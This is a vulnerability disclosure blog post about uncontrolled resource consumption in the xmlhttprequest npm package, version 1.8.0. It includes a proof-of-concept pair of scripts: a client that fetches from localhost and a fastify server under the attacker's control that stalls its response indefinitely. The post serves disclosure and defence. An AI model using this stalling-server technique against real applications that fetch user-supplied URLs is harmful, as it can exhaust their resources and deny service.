~ 3 min read
Disclosing uncontrolled resource consumption in xmlhttprequest library
What is the xmlhttprequest
npm package?
The xmlhttprequest
npm package is an open-source library for Node.js server-side projects to use a familiar browser-like HTTP client. It is technically a wrapper around the http
and https
modules in Node.js.
Its purpose is to provide a familiar API to Node.js developers who are used to using the XMLHttpRequest
object in the browser. These days, most developers use the fetch
API in the browser, but xmlhttprequest
is still a popular library for Node.js developers.
Disclosing a vulnerability in xmlhttprequest
In August 2022, I discovered several security issues with the library and with the help of my Snyk security analysts colleagues I reached out to the maintainer of the xmlhttprequest
npm package to report a vulnerability in the library. The maintainer was responsive but did not consider this security report as an actual vulnerability to be recognized or fixed.
I then decided to disclose the vulnerability publicly and share my findings here.
Uncontrolled resource consumption in xmlhttprequest@1.8.0
Observations:
- It was last published 7 years ago in 2015 with version 1.8.0
- It has 1,814,290 weekly downloads from npm
xmlhttprequest
code and registry resources:
Background on exploitation
The HTTP client library fails to implement any sort of timeout controls for outgoing requests,
and as such it is possible for attackers who control the URL provided to xmlhttprequest
to
set the server to delay requests for a considerable long time (infinity) through which the
HTTP connection will hang and never terminate.
If attackers are able to force an application to perform several such outgoing requests then they could saturate I/O resources on the running Node.js runtime.
This vulnerability is classified as a CWE-400 uncontrolled resource consumption issue.
Proof of Concept exploit
Install these two npm packages:
- Install
xmlhttprequest@1.8.0
which is the latest version of this package. We will use it for a client web application. - Install
fastify
to be used as the server that is in control of the attacker.
For the vulnerable xmlhttprequest
library, create a client.js
file as follows:
var XMLHttpRequest = require("xmlhttprequest").XMLHttpRequest;
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:3001/hello");
xhr.send();
For our attacker-controlled web server, create the following server.js
:
const util = require('util')
const fastify = require('fastify')({ logger: true })
const delay = util.promisify(setTimeout)
fastify.get('/hello', async (request, reply) => {
return delay(11110000).then(() => reply.redirect('/two'))
})
const start = async () => {
try {
await fastify.listen({ port: 3001 })
} catch (err) {
fastify.log.error(err)
process.exit(1)
}
}
start()
Run the server and when it’s ready to accept new connections, run the client.js
code
which sends a request.
Observe that the request never ends (timed at 29 minutes before I killed it on my local environment).